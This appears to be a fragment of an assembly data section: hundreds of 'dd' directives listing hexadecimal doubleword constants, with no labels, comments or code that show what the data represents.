		dd 0ACA066DBh, 49C0815h, 0AD43558h, 6930B3C5h, 40BB19CCh
		dd 0B1645819h, 0A8FE7238h, 0AFF280B9h, 7DF81F4Ch, 1760CF61h
		dd 10BDE92h, 0EC07C568h, 0E4200984h, 381268A6h,	0CA9950C8h
		dd 4FFF3E00h, 0CDDC2A5Ah, 1214A511h, 5D1E0681h,	0BC2C50B7h
		dd 0F0122835h, 0C053828h, 6144DE15h, 91599C50h,	3217195Ch
		dd 0A8616E08h, 4C5A36E0h, 1DB378FAh, 7443F3A1h,	0EF487C44h
		dd 1D00470h, 0BCE2D36Bh, 0E3989C81h, 5CC18414h,	3C8E27FFh
		dd 32D4CC03h, 28164842h, 4802183Ch, 940D05FBh, 8DA22E18h
		dd 65FC09A2h, 8A047C1Ch, 85C14CBh, 0DCFC8C83h, 592F2C81h
		dd 2904C60h, 6F94E7BFh,	0D487381Ah, 0A803DB0Ch,	43C750B7h
		dd 80247116h, 3B09F84Dh, 6AB860CAh, 7B0F38BBh, 589008E8h
		dd 0D812E0ACh, 0A046C1B9h, 79606572h, 32E09070h, 55106C8Ch
		dd 5C9BA060h, 5931DCBAh, 4D2D68C6h, 0B9128087h,	80D8C3F2h
		dd 290E6838h, 0CC60B0EAh, 637DA25Bh, 0FABCE815h, 0A9BBA83Dh
		dd 23C09C5Fh, 4D24A559h, 4124ACBCh, 871002A0h, 5445F351h
		dd 0A0899382h, 26946475h, 70805FDCh, 0CF72409Fh, 355C29C6h
		dd 70900958h, 0E81694F9h, 9B09B1EAh, 14CEB35h, 0FAD226B0h
		dd 60C03032h, 0B6147522h, 43F1C883h, 6360B1FAh,	21E3A9DFh
		dd 0ECFC8124h, 307079D0h, 0DC2924C4h, 74915082h, 7B5767C0h
		dd 0AC2B547Ah, 64504C86h, 0D8C75E0h, 0A8A8A6FCh, 0D49943CDh
		dd 18ADA6C0h, 7C51C22Dh, 7894CB7Bh, 17D31B02h, 824D909Eh
		dd 94C69FA4h, 131F0664h, 50162F92h, 264E3C14h, 69E9A03Ch
		dd 0E16D286Eh, 0A6F2B4h, 0D97BEBCEh, 0FA10E0A3h, 809008C8h
		dd 0A9209430h, 0EB24DF1Ah, 13582055h, 9C640937h, 0AC025F8Dh
		dd 0C0675389h, 9C3F1401h, 289CC305h, 0FF84ADCh,	5DEDE078h
		dd 1448C3ECh, 0E3BC1DFCh, 0B5496A5h, 0D99C27B0h, 83A81C63h
		dd 50AEF32Bh, 0BEDFC806h, 14287039h, 0B4893C7Ch, 0BDC0CFE0h
		dd 5CC9A961h, 6C202F89h, 8634871h, 0A1BCFD28h, 0FC4E4AF3h
		dd 66267E02h, 30C0B404h, 0FD006C3Ch, 0D9BDDBC0h, 44E5A2h
		dd 0F4866AC5h, 0CC2F28DEh, 56634F1Ch, 0E139DC80h, 289682Ah
		dd 4287C6BFh, 189865E0h, 70002923h, 39D4516Fh, 0A5D71C1h
		dd 0C6BE9F89h, 2B484014h, 7667D4C5h, 0B5672158h, 9C5ADFF1h
		dd 8491448h, 75A67F0Eh,	0E5140100h, 0A6043FB5h,	0ABAA063Ch
		dd 2856593Ch, 3DF16118h, 0A4DE67A8h, 5C0F0614h,	0A0521D5Eh
		dd 53AC4105h, 14601FB4h, 32B3F023h, 0F911FE36h,	0F87FA640h
		dd 8E2509C0h, 0FD6BE0h,	5F31E70Ch, 35912D1Bh, 36A7051Ch
		dd 156E3440h, 8930D7h, 9AA1C57Fh, 0CF2C869Dh, 9300DF75h
		dd 852E0EC9h, 72E9EA43h, 0B56C1D90h, 5666CE8Ah,	4BEF7800h
		dd 51027D5Dh, 0A9228DDh, 6460DD5Bh, 46017555h, 0B6CB613Ch
		dd 1EC0D395h, 0E1420021h, 1FFDF060h, 0BF00149Bh, 0D802853h
		dd 0E0450CC3h, 243304CDh, 0C0D6512Dh, 4198385Fh, 1A5BF600h
		dd 569B58DAh, 0E5EB0CE4h, 9BC95A1h, 0CE00E1E8h,	98903331h
		dd 753B57Bh, 0E0F2301h,	0DCAA903Fh, 0D93B70CFh,	0EF228172h
		dd 0AE77E4D7h, 0AF66F0F7h, 6A1D008Eh, 0D0C06E6Bh, 7F03B2B3h
		dd 294D1AB4h, 0E83DE013h, 0A98C3C9Bh, 0DDC6AC00h, 30E6B1F5h
		dd 3788D8E5h, 0EA15D31Ch, 0C6E48240h, 59B0A0h, 2170E2Fh
		dd 9B1574Dh, 0AA66EB28h, 0CE8EE600h, 4A73446Dh,	2D610E74h
		dd 0CCA0B863h, 568B3072h, 53262C00h, 0D3D92B96h, 1097CEFh
		dd 0A7BEF197h, 7E868B6Eh, 47833800h, 27850Fh, 0CB97883Ch
		dd 0FC3174BAh, 48A1B400h, 0ACA78DB5h, 38207465h, 0E1809D9Bh
		dd 8E3235E2h, 0E500485Bh, 0DC6FE35Fh, 334DB05h,	61998278h
		dd 7FF0B3ADh, 350751AAh, 75949FD5h, 80EF7095h, 89B7A9D4h
		dd 9511B400h, 0C7DDCE65h, 8E15004Ah, 8B13EA8Ch,	0C8001E7Ch
		dd 357E8404h, 7EB42A1h,	0A5FA0594h, 0AD5DC06Eh,	4D008D91h
		dd 6BF8C28Ah, 38BFC8h, 0F6BBB22Ch, 7577B1D1h, 0BCD34D00h
		dd 5E064353h, 463C2645h, 3AA500A8h, 0D3D786D8h,	0DB782202h
		dd 8565F0F4h, 0BC0350CAh, 0F0B78FA1h, 94B188h, 2C246F6Ah
		dd 233E7E3h, 9FD1900h, 8A828C28h, 0B15C0098h, 0D11D2274h
		dd 0C0014D61h, 70D7193Dh, 0FAF48F11h, 0B6E601C4h, 8D73A8DEh
		dd 0CAFBE0F1h, 796F000h, 0FDF422A6h, 4BD20057h,	0A8C24ECBh
		dd 0FB008E95h, 0B410164Ch, 3AF91E44h, 0D68005EAh, 12ECBE74h
		dd 0E100277Dh, 49A6ACDDh, 1FDFEBD4h, 807C04E4h,	14E786CAh
		dd 1901F2EEh, 0D62C4B23h, 0A5F0FD98h, 0A3E60075h, 27FC0B79h
		dd 4B0FEB70h, 40F44416h, 80E5ACB4h, 873B5CEAh, 0E7129900h
		dd 90032BBAh, 0B0A17700h, 5D5204A4h, 1C4F01A7h,	6DE714DDh
		dd 0E64DE073h, 81AC7D00h, 0ECD522A3h, 42F602D9h, 3D88ADBDh
		dd 1EDFBC80h, 0C51D9A64h, 0B949A472h, 0C9780141h, 2FE5CF95h
		dd 62EE820h, 0DC160F54h, 40EA102Dh, 6A3A7807h, 9840FA8Ah
		dd 11AE3F2h, 8F580C93h,	0F79EE9B2h, 0DA6271D0h,	4E05AC00h
		dd 0BE5491CCh, 387226h,	72F2EDF3h, 783A9C56h, 868C2F00h
		dd 1F6AB74Dh, 523D00AEh, 486F540Bh, 0DE00015Ch,	7216FDBDh
		dd 78FF8Ch, 0AE6ECBA7h,	8D098520h, 49DA5C01h, 9B703305h
		dd 31BA9280h, 3FD080B0h, 0CA0095FEh, 8B99C0F1h,	73ACBDh
		dd 43B3073Dh, 0BB74E8C8h, 6129D4F3h, 8367C30h, 573472h
		dd 69AB05A5h, 7D0AFB11h
		dd 3A335B00h, 36FF6A1Ah, 167CE46Bh, 1E9AE43h, 8204D021h
		dd 1898805Bh, 0FB4DEE10h, 5DD401D2h, 0D95A809Fh, 22ACF4B4h
		dd 43D5903h, 0FAE44C78h, 5B8380D7h, 9D8F41h, 0DD0A94BCh
		dd 59E2A9CCh, 0FF078198h, 0B08B2D58h, 926D78D0h, 0F6EB1CA2h
		dd 0CF570FEEh, 0A03070C7h, 20ADAA93h, 350C4400h, 1F4E5253h
		dd 72360061h, 63A06DC8h, 57F6286h, 0CF22C400h, 3A29BFB8h
		dd 0F740112h, 337A169Fh, 0B735FCD8h, 5CE5AB0Eh,	9E950003h
		dd 240B3DBCh, 38CB3F94h, 0E9B0D00h, 1360A2C6h, 0E162E700h
		dd 167AC932h, 3419009Dh, 63D4E35Ch, 0E200C05Ah,	4D1B03FCh
		dd 44971Ah, 33F387D9h, 96EBD51Ch, 30F75E13h, 5B21FF00h
		dd 3D6480h, 9CA7F10Ah, 5D783784h, 3AE21538h, 6F7B80A2h
		dd 0A9943C4Ah, 0C01128D9h, 0B7780EBEh, 0EE40C50Ah, 0A1287BDFh
		dd 10FC6603h, 0ABAE24EAh, 1FDE035h, 0CBBA00CCh,	977BBE82h
		dd 2300AF0Ch, 0A79E87FBh, 3CCA3A84h, 73EFFFh, 0E87DACA1h
		dd 8AF94549h, 0C3DD3700h, 635DD67Ch, 4BA50079h,	53A21C08h
		dd 25008247h, 0AF4D6548h, 152E64h, 9654FA80h, 0F2D0F7ECh
		dd 58DC893Dh, 0B0F800A8h, 4A8F559Fh, 685C009Ch,	0EB298E2Eh
		dd 8B00159Bh, 1BC5F56Dh, 0CC87C2h, 0CE0BEAE8h, 0F7342912h
		dd 0C7D24200h, 0E447ED85h, 0ECA700D1h, 0C76539Ah, 0F998ADB1h
		dd 2AB36E00h, 0D23C0BAEh, 506D013Dh, 7B619148h,	0EEDB70BCh
		dd 75A2B600h, 6F964298h, 41D43A11h, 21808480h, 0EB4CD93h
		dd 0B6E91F00h, 27038F51h, 54F300FBh, 8BE30529h,	5AE65F0Dh
		dd 0E9ED6512h, 0D4B83400h, 726CD97Ch, 17CF0054h, 8D580681h
		dd 0BC01B1F6h, 37CAB28Ah, 6DD56724h, 0E87FE020h, 0F3B5006Fh
		dd 8561420h, 0C5B82594h, 4F9C6B00h, 8945AC5Dh, 0DA6002Eh
		dd 0F905640Ch, 9E1F9959h, 95C133D2h, 73B11DEEh,	3F13EFE8h
		dd 3E80AB0Eh, 114C39D1h, 58C00F2Dh, 0A5264F09h,	76C2003Bh
		dd 41921FD6h, 6BF84610h, 0CC7C8F00h, 752D6352h,	0FA0900BCh
		dd 907A31C1h, 87E5178h,	0FED0A200h, 666023B4h, 0F85BFE35h
		dd 0E36C3CD2h, 881F1E8Fh, 80C36EAFh, 0FC0E5A3h,	13785F89h
		dd 4F458500h, 0B7E2F21Eh, 6BDC1DFEh, 963C0DFh, 56C122BAh
		dd 2BAD0E00h, 17EE3BF6h, 72E2D0h, 0EBD34F36h, 47915DE3h
		dd 99847F00h, 0D90DAA73h, 85BD0749h, 0E09A974Bh, 0B0392702h
		dd 0CB51D800h, 1FBA9488h, 0D0F00CDh, 30A9E670h,	0E0E91BFh
		dd 60F5FEDFh, 2888AB67h, 604900BBh, 226D17F9h, 1900B50Fh
		dd 80E2B6FEh, 2B08DCh, 0C9338FA0h, 57515DF3h, 0E70011F6h
		dd 0A91FA267h, 449FF06h, 0D9DFEF14h, 805A85D2h,	0A7435866h
		dd 0C347E51Dh, 721378F0h, 7A6E6B8h, 7AE12266h, 38DEC058h
		dd 4800149Bh, 0EDB14F4Ah, 503AF653h, 0EB88Eh, 5B84466h
		dd 5C1D8022h, 0A98DF500h, 0B965261Ah, 0B2B10009h, 228E5552h
		dd 1779DC4Dh, 4436F700h, 91CB392h, 0EEEBE09Bh, 722800B2h
		dd 7C4C6D85h, 0F2008761h, 0DF19D0D2h, 3D314621h, 4B1DB2AFh
		dd 0C1A1CC93h, 7219A5B9h, 5505988h, 601D9FD8h, 5B16781Eh
		dd 9831B60Ch, 671712Fh,	6E90D0h, 5DBBD7A0h, 5F543F25h
		dd 0FD727C00h, 0AD39B7BFh, 20300DEh, 0CB90A6BBh, 5D3C3F6Dh
		dd 81F50C1Ah, 0CE78EDh,	0A21B4C92h, 0A8279B56h,	5FDF88A9h
		dd 7296E004h, 0F2690054h, 93BF0CA3h, 0B013B74h,	24B4336Eh
		dd 31804761h, 996C4D1Ch, 0BB3FF1B3h, 9CD88F39h,	234C83E0h
		dd 3468E596h, 4CB35293h, 0B546BBB0h, 1D6E10C0h,	0EFF06Ch
		dd 11DA97A3h, 2CE7A045h, 0A612CC1Eh, 519A218h, 0D40784A8h
		dd 0DBE81FC3h, 0ACE4A9C3h, 10C5B442h, 1052D122h, 18A0A661h
		dd 24A0A30Dh, 5484B86Fh, 0A8F13C39h, 0EBF0150Ch, 1EF71710h
		dd 8433E188h, 25489454h, 5008CA42h, 1D8A0757h, 9D0A30ACh
		dd 9080C6Eh, 702448A0h,	6CA1A03Eh, 7B7851B5h, 428108B9h
		dd 18202ACBh, 30BF3D28h, 54843776h, 50A024F1h, 0A8AD482Bh
		dd 0A40A3954h, 61D965C0h, 6729C1AEh, 6E318603h,	2119948Eh
		dd 3A081266h, 7738008Fh, 917109DAh, 903276h, 0CC07EE79h
		dd 0D6C6795Bh, 23DC25D0h, 0F2EC00AEh, 352A3E2Dh, 0AF001C89h
		dd 0A622F00Eh, 24638B08h, 9E240D7Ch, 562AFECBh,	0DEA215D4h
		dd 0C703F8EBh, 6A5F0673h, 0AD81F0E7h, 19FC333Eh, 99A75A0Fh
		dd 30EA20CBh, 4FF9867h,	36242C34h, 512480BCh, 0AB010462h
		dd 0CB14C703h, 2A60A5F9h, 13B20097h, 9F5E6695h,	6926A873h
		dd 0AD01D92Dh, 1D828B7Dh, 0D4001C5Fh, 0C29304B5h, 3D01387Fh
		dd 453B4721h, 9640A850h, 67B051h, 1D8379D9h, 0CB8C9DF4h
		dd 36DD7F37h, 5BF9C850h, 0E4EA004Ah, 0D8BA31AFh, 1400E5EFh
		dd 6E89EB8Dh, 637B30ECh, 5CD6D8AEh, 0BD115018h,	205E6A0h
		dd 55565D06h, 1480D064h, 0CB8D0A5Ch, 6942C114h,	0DC960E34h
		dd 0F77BE024h, 7CCE454Eh, 5AD60054h, 0B482BB8Ah, 5071359h
		dd 87800465h, 0D4FAD60h, 0ED4D00C9h, 1AF61F8Fh,	0A10077DFh
		dd 73CAD9E1h, 0C1AAE8EAh, 0ABE77FB8h, 98B986h, 0B0F0BC9Fh
		dd 90C1D923h, 15F90FD5h, 0BC0BA2Eh, 90EA9D7Eh, 0CBE3FB06h
		dd 2880F7AAh, 168EC8Fh,	0AD126707h, 5CCA98C8h, 5E057240h
		dd 95D03CCFh, 0D880C800h, 1FF6DCh, 84733427h, 16588EDFh
		dd 0CAAFC00Ah, 86BBC0E7h, 0E6F14E2Dh, 0A4AC3010h, 71778DB0h
		dd 0BA17C900h, 0C28AB078h, 5E730386h, 289EA1E9h, 38011877h
		dd 2AE127B8h, 8DD03246h, 677072CEh, 0C3DD2104h,	0C0BF8B96h
		dd 0A19157E8h, 7CCF1701h, 8CFCDA43h, 40B5309Fh,	0EC8E78B1h
		dd 8400109Dh, 0C4890CC3h, 3DC061D4h, 88098D6Dh,	0F1803CDEh
		dd 0A80602F8h, 0BE8E8700h, 0C655BFE6h, 80E2604Ah, 0CCFBA411h
		dd 0BCFE5600h, 21347991h, 3D43EE1Ch, 5D80F4F5h,	0B54477C8h
		dd 3A009561h, 664041CAh, 0C4DB9Fh, 6CBC15FFh, 0AB7EB0A6h
		dd 0A1FC5E00h, 436F663Ch, 0C7B00E7h, 8A5145ADh,	1F02E2BDh
		dd 57D1DD4h, 0CFFA60AAh, 0F63C0044h, 0A799A5C9h, 0DD005707h
		dd 30252135h, 0D48D7Dh,	0CEFA9D93h, 0AD713CA8h,	1E12000h
		dd 43B8C223h, 0C310039h, 0E7B51B94h, 3800C8C1h,	0A6AD709Ah
		dd 0E0F73347h, 789600EFh, 0CFF8D6BBh, 67018E62h, 5049AC8Ah
		dd 2AF4244Dh, 0DD47006Ah, 0FB8F9EA7h, 7600B5B6h, 0AADEDBF0h
		dd 0E07321E9h, 0FFD40196h, 93EE4EC1h, 0E0708097h, 770A3742h
		dd 30D9567Eh, 55667104h, 6F247085h, 597606B4h, 0B0E20178h
		dd 7E37CC00h, 0B87F5268h, 0C8CE3012h, 0D50CF430h, 0E09E221Fh
		dd 0FF83399Fh, 0E308CAh, 944F8398h, 0E863F58Bh,	920389B8h
		dd 9976BCF8h, 8A40004Dh, 506E81DEh, 0CE0146C3h,	3A179CB5h
		dd 9450FC5Dh, 61B4A0F3h, 0FDF651DCh, 8BD0F3DAh,	0DE3FC277h
		dd 735100A4h, 0C81A2BBFh, 44DF0162h, 9EAFCB2Dh,	952270E2h
		dd 2083BA00h, 3CF254Fh,	68BD073Fh, 0F05CED4Ah, 0D05802ECh
		dd 76E03750h, 0B50575FCh, 0EFA74267h, 0C0DC1DFAh, 0D9CFB864h
		dd 510027E7h, 8EE876AEh, 0C32A3B6Dh, 0A54FAB78h, 57B73FE8h
		dd 0A9A448A8h, 410E7B72h, 40D3C144h, 738170F3h,	0D29C0119h
		dd 7F693B3Ah, 0F0BF21h,	0D338DC7Bh, 7B53117h, 0EB1C7CB0h
		dd 40CB55D7h, 183E8CCh,	0C807379Ah, 0CFEC6584h,	81E3D080h
		dd 0EC935042h, 0C33E79FCh, 90334031h, 144B171h,	35960A22h
		dd 30C44C30h, 0B7E582B8h, 0A5860401h, 6AB232CDh, 0E185F840h
		dd 34230615h, 0A8F6EC77h
		dd 1C09980Ch, 0F35D206Bh, 0A83F6E60h, 3ACDC84h,	773BFD03h
		dd 3104F79Fh, 53BD4961h, 0C5E52080h, 0A58701A6h, 0A4D9A769h
		dd 213422FCh, 36AE0032h, 7094A3Ah, 1681CA15h, 0FD1002D0h
		dd 41279754h, 0C42B2591h, 0A5A04012h, 7978EAA6h, 5E02A9DEh
		dd 99E877C7h, 9418E908h, 0BC2C2B00h, 0DA6FF9C0h, 3881005Bh
		dd 74173EFh, 0A0A88CADh, 0B50D6D1h, 1800CC99h, 11AF68C8h
		dd 582036E4h, 2F008DFAh, 0E61459D5h, 4836447Ah,	81B838B5h
		dd 64C4ED04h, 0FA60E1Bh, 3620A4FCh, 1E08187h, 0BC8BA900h
		dd 9A09CC60h, 4920048h,	0A31BB8B7h, 0B200E8A4h,	0E188B071h
		dd 0B8D2A87Fh, 3E830358h, 4298A52h, 0E0BBCFA0h,	84806A00h
		dd 2B5A60BEh, 50C2037Bh, 9D07C156h, 49FB4800h, 1D08A80h
		dd 7DBB011Dh, 3F2673BFh, 4F12FCFAh, 0E7A85500h,	6FA5E2A9h
		dd 4ADD0040h, 0BE2D49EBh, 0E01695DAh, 0FA00351Dh, 0A5A9E615h
		dd 28740119h, 0AB6A6FA1h, 485180B1h, 0C80816BFh, 0BAA03CDFh
		dd 794FF0Ch, 0D1000410h, 8EF358B2h, 0C57C956h, 0DD50EA60h
		dd 8655E61h, 484030B1h,	0B7BA6E7Bh, 83AE0337h, 7C595739h
		dd 0C2B9C800h, 71DF605Ch, 0E8A300F6h, 0F095825Eh, 0A474A5B4h
		dd 0C0080A4h, 264E3D48h, 7F6D6AE7h, 0EC4B00E0h,	0D27FC7BFh
		dd 7D009D3Eh, 0FBA5A89Ch, 7C8E8Ah, 8FEE4884h, 7635CE85h
		dd 9EF35018h, 0E4E858h,	311B05F8h, 2C90C738h, 2F070F01h
		dd 92581E64h, 0B888A3E3h, 414262h, 55CA487Eh, 0BE3AC326h
		dd 2BB1DD00h, 9EB6EB50h, 711B73E3h, 2488F03Eh, 538CEEh
		dd 8F39EDDCh, 0B100FBF1h, 0F72561A1h, 7AE0DF6Ah, 58690062h
		dd 1794518Eh, 84019ED7h, 6B2B0424h, 87F8E0D6h, 0C898007Bh
		dd 5B7FFC4Dh, 5E3A2307h, 8400FDB7h, 0D6E203BCh,	0A8890Eh
		dd 0B915FCC4h, 2EA4CE44h, 0D8001379h, 0C198C7B4h, 6EB72499h
		dd 0A5C04A42h, 4EE1E05Bh, 0BEF6047Fh, 5F134000h, 0E52AF14h
		dd 1140BFE6h, 760C5B6Ah, 0E8B35615h, 0E1BC00BEh, 228C8F7Ah
		dd 0BF781FBDh, 4203329h, 63E0005Ch, 2C9A96CFh, 0D200094Ch
		dd 92D32FABh, 0F10681h,	55C71432h, 2B4CE3DCh, 30865D00h
		dd 61A7121h, 1DFDE887h,	7C3D1CBh, 131933h, 59010E8Dh, 338203Ch
		dd 85EBED94h, 0EC28F85Bh, 0A4B600CAh, 0E449F2D9h, 4B001560h
		dd 8E11544Fh, 1B3204h, 303329CFh, 0C91C5C48h, 9613DC05h
		dd 81FB2CEFh, 3031D7C5h, 5C003CB3h, 0F12F08AFh,	718CCCh
		dd 0F7B1C873h, 28A8B8FAh, 0F2942A00h, 8374AB9Dh, 7CAC0393h
		dd 45CB63A3h, 0E926C188h, 3D0A6500h, 98DF25B9h,	0EF7A00FFh
		dd 0AF470FA3h, 0CC001E30h, 76649204h, 26E16935h, 1F7A2A4Ah
		dd 0F175808Bh, 2D92AF88h, 0A05C4200h, 9C54EEE0h, 28EA6036h
		dd 0C40DD5B5h, 0E13D4400h, 0A3C9EB25h, 0EE020130h, 6A59733Bh
		dd 2143F8F0h, 270099E8h, 87033CAEh, 74B311h, 0A2AAC369h
		dd 4B8D3976h, 0FF581926h, 0ED124E00h, 0C7DD4A92h, 0D01F3A68h
		dd 3C6EBF93h, 9636E500h, 68C65C46h, 33F1009Ch, 1C94590Dh
		dd 47001069h, 4B8ABF22h, 0FF0A5Bh, 0F229A684h, 5740DDA7h
		dd 0BE7D2500h, 41A032B5h, 6471001Ah, 56B80C06h,	0D105472Ch
		dd 0BC659CAAh, 0ED9022C0h, 6BA0009Fh, 0C7072858h, 5F07FEB0h
		dd 0F9BFBB01h, 0AFE9A01Eh, 14C7C3Ch, 8A0FF30h, 0DCC1868Ah
		dd 0B800EE96h, 0EDDB8F93h, 0AE9FE59h, 6C061D36h, 3C6900C7h
		dd 6656CC5Ah, 8CBA4900h, 0A5C470A6h, 0B97A40h, 0D9BBE472h
		dd 0E6EA7F1h, 8E46B312h, 0DE396E01h, 89F8256Bh,	0F46D003Eh
		dd 8AFDCD62h, 0D671B14Dh, 0BC0015EEh, 0F53A9219h, 1C33F82Fh
		dd 0C0916E24h, 22F3B946h, 19E674E0h, 0EC9EB00Bh, 2EE0833Bh
		dd 4BF5A884h, 3E3DE293h, 0E909B160h, 5B807A4Eh,	9C67687Bh
		dd 0E841D00h, 0CE810845h, 66780026h, 0AC7B729Bh, 3F00E692h
		dd 8A6F54E7h, 7C234Ch, 0C3A862D3h, 5891D7C1h, 0B04A3B00h
		dd 0F14497E2h, 0B81F006Dh, 41B2DBFFh, 70ECDE5h,	6F3FBDh
		dd 77541A25h, 59FC00B3h, 7B791E6Dh, 0E4009558h,	72C88348h
		dd 90372DCDh, 53A70052h, 5C158724h, 570026D2h, 0EDD1FBC8h
		dd 0E4A39B0h, 36C2ABDAh, 967FB2C0h, 513D8068h, 787E8076h
		dd 2B6D986Ch, 0F98F00B0h, 0A90DE71Ah, 0F60B701Dh, 6874B0Eh
		dd 0B0F460h, 3ADBD865h,	2E8603E3h, 31B82A1Dh, 92FA9D00h
		dd 1EC2041h, 99228228h,	0E883BFFEh, 86037A37h, 0EEC6D7E9h
		dd 0CF30881Eh, 0DE950061h, 3DF916FCh, 640F2EF6h, 60D05B94h
		dd 0AF80100Eh, 3230008Eh, 379543B3h, 0B10ED2BAh, 0E71F818Ah
		dd 8780D4BBh, 9A65C5h, 73E67F93h, 0CFABB985h, 919CE050h
		dd 958D3400h, 0DFB6F079h, 8444004Ch, 0D143515Fh, 3100CBADh
		dd 8A495E36h, 1D688Fh, 0FD4DD412h, 52FEC3D0h, 53E9801Ch
		dd 32D76980h, 0EF59035h, 0BF9F05C8h, 7D7B2EA0h,	9600E5E6h
		dd 1A0EFB43h, 0BF3A944h, 98592411h, 0B3D31F01h,	12EB7053h
		dd 0B146E700h, 0D061CD29h, 96707DDh, 10402ED6h,	366A3593h
		dd 266BBF00h, 0C1D04EE0h, 9B7101D2h, 28B8562Bh,	7B10E0BDh
		dd 5E67BB03h, 0B83D6032h, 1CE1D1Eh, 0CA2D5786h,	2490C83Eh
		dd 9B00475Ch, 8838FE8Bh, 1D0B106h, 0AE8D5CAFh, 3029ADE3h
		dd 0E503FDD0h, 2E4E6B48h, 4D289005h, 86A60B66h,	0A200943Fh
		dd 4E4974CBh, 10545901h, 0B4E4BA8Bh, 7BBD21C8h,	2AE8008Ch
		dd 4C88DDC6h, 5C00EAB1h, 0B4CC06D5h, 0A02264h, 12187B91h
		dd 1E8862A5h, 0B5E2A800h, 46C8B187h, 41F266h, 5A0D9186h
		dd 0BFA143Ah, 0BE993E00h, 6A800648h, 5224005Ch,	674AA725h
		dd 390F90F3h, 9EFA88D2h, 0C454C9h, 3D346588h, 27A00EBh
		dd 6BF336EAh, 5A00D620h, 3BA8BA41h, 91E65Dh, 0BD32C0A4h
		dd 36281430h, 5E0ADD00h, 0AF34AA8Dh, 5280000Bh,	0A981475Ch
		dd 7A003D6Ah, 0F335285Bh, 1F394683h, 47136D76h,	0EF80FF55h
		dd 7168F6E2h, 0D97C39E0h, 0A8DB3903h, 97377670h, 9EA3D050h
		dd 0B9D70B14h, 6A0E0333h, 0A565F380h, 0CE0012DBh, 0DAB0E115h
		dd 1E8B2A25h, 80DE5BC6h, 0BF8750C4h, 0A0003CC9h, 0A102CFAAh
		dd 0E4D0A3h, 60B6E7A4h,	5CDB5D22h, 15F7AC00h, 8FEAFE18h
		dd 30B019Fh, 0F54851CCh, 9D9F4F1h, 7AA7CB00h, 529EDB2Ch
		dd 2E1300A1h, 124FA241h, 5101FE0Eh, 38F362C8h, 0EEF4C319h
		dd 0B0762672h, 2A9D8366h, 97A81551h, 6A5FF637h,	36E3B0h
		dd 239438EDh, 8CFED4AAh, 90272C03h, 80DB8168h, 7F375Ah
		dd 18767D94h, 4434032Bh, 921B820Fh, 0EEC19D93h,	0C70E17E8h
		dd 4046DCh, 4FB4FD8Dh, 0E4EDAC73h, 0B0267F00h, 0AC8BA4Ch
		dd 0A7E51DA3h, 679C4329h, 1FA08951h, 0D300ADF6h, 7D665A18h
		dd 0CB8824h, 0B9C92640h, 634C0311h, 0D2F73D00h,	4757B1AAh
		dd 7FF800BCh, 8B1472F4h, 2A00A1A3h, 0A738F9FFh,	0B570Dh
		dd 0A6C9344Fh, 0C07DDCF1h, 8C104500h, 15AD2D95h, 0E3AECA5h
		dd 229B678Dh, 0F0FA05E7h, 0D5E8C3BBh, 5EBDEC00h, 0BEB4A86Eh
		dd 0CA0E0E6Fh, 0B6018EBh, 0A5A4CE93h, 899AD33Dh, 8FA87EF6h
		dd 61B4A05Bh, 35E229h, 4A883C5Dh, 0D69E0ACBh, 0CCE5F901h
		dd 64AACE2Ch, 9485C8h, 0C4FDFF0h, 0FFA67C02h, 0EE1F7100h
		dd 1E413404h, 0F89700EFh, 116780F1h, 9A004C92h,	56C62BBh
		dd 6A3AE9h, 0E84AD009h,	0B6EC940Ch, 670EC107h, 8570E4BCh
		dd 517843h, 1F6BF490h, 364EA861h, 66281200h, 0DCCFC9Fh
		dd 0E8D20355h
		dd 0F87E0905h, 22027200h, 8B44A8A7h, 0D8C80092h, 5BDCC67Bh
		dd 0B801B941h, 626D111Eh, 83CE526Fh, 0E84BE58Bh, 0C297F72h
		dd 0B82FA131h, 101D4F60h, 911E19C4h, 0B266D00h,	0E83E9972h
		dd 18CAE80Eh, 20B9EA17h, 0E11E7456h, 2B0F11C7h,	0ABC1DC9Eh
		dd 6904005h, 0FA2960E4h, 0C94E007Bh, 0CC39E6B8h, 6D00B217h
		dd 0DF09E8A1h, 0BBD563h, 14F08770h, 0B538E9A5h,	2D9738h
		dd 6EE0C0BAh, 0C0188BE6h, 0ABD6A191h, 0E7E04E6Ch, 7D2CE00h
		dd 0A804C8FBh, 9640002Dh, 98610B16h, 8830718Bh,	0EB9B3917h
		dd 0BEE1C0CAh, 3E2BB619h, 58DE900h, 0B23B9D90h,	5B6B0344h
		dd 218E7882h, 3054C097h, 46001197h, 43140AEFh, 0B815AA5Ah
		dd 241F00A7h, 73C6A30Bh, 0D8008637h, 3FFD925Bh,	19EE71h
		dd 0E5E9EABAh, 0C42C7649h, 0C4B6B00h, 0AC315E26h, 88190316h
		dd 6C2FF971h, 75A99807h, 0BC20F568h, 0E19E069h,	73B05F2h
		dd 96911360h, 3E009D45h, 0A5DCC16Ch, 3BD5F241h,	0C00CCEAh
		dd 72CE846Bh, 3200F613h, 0A06FB5A2h, 0E730DEh, 785498A5h
		dd 83D2272Eh, 3100B2E6h, 0F10468BCh, 0E2D9355h,	8580AB94h
		dd 0A06C0073h, 0D3C816A1h, 88B0D10Eh, 636A4169h, 98307797h
		dd 6DEC0718h, 6027377Eh, 3EFB74CFh, 0ACD0A116h,	36D3A000h
		dd 137B2D1h, 6C59680Eh,	204D164Ch, 5E07C2F7h, 8E03EA5Dh
		dd 97EC6B90h, 137602F7h, 9F166447h, 0CEFCA460h,	30C5500h
		dd 5C62741Ah, 9D0D0E19h, 0B2495Ah, 1E7E9CEFh, 83001206h
		dd 0FCBDF12Dh, 14CDA2Ah, 0A4432F10h, 80F2F989h,	0D76CAE36h
		dd 2EE37B70h, 3D3CACh, 76869193h, 64EAF165h, 0FB573600h
		dd 47CC2351h, 6AAE00CAh, 0C18EF403h, 0B2001410h, 4F3E1EDFh
		dd 39C73537h, 0C80052A0h, 0B016FA9Ch, 5C098676h, 829034C6h
		dd 48CBB230h, 74F138h, 628103DBh, 911331Dh, 61FDB600h
		dd 3679F49Dh, 0C96F0F1h, 864FFBCCh, 5C7EB1FCh, 3B6EB21Dh
		dd 19F14540h, 74A5E56Ch, 93650079h, 0CE0CD22Eh,	4A006DB7h
		dd 9787CCFEh, 1C92E1F3h, 8DEC51h, 6CE0BB40h, 0FE006F38h
		dd 22F46562h, 1FEA7064h, 3D7133Dh, 0F1481553h, 0D1F4590Ch
		dd 7DB89968h, 1D07F35h,	43BFB0FAh, 0EC752466h, 69004E83h
		dd 0CE158757h, 1CC484C2h, 0BEBA1394h, 0F25C478Ch, 3B008550h
		dd 0B7B88CCCh, 6EE9864h, 32978D2Fh, 300020EFh, 8B85E5B3h
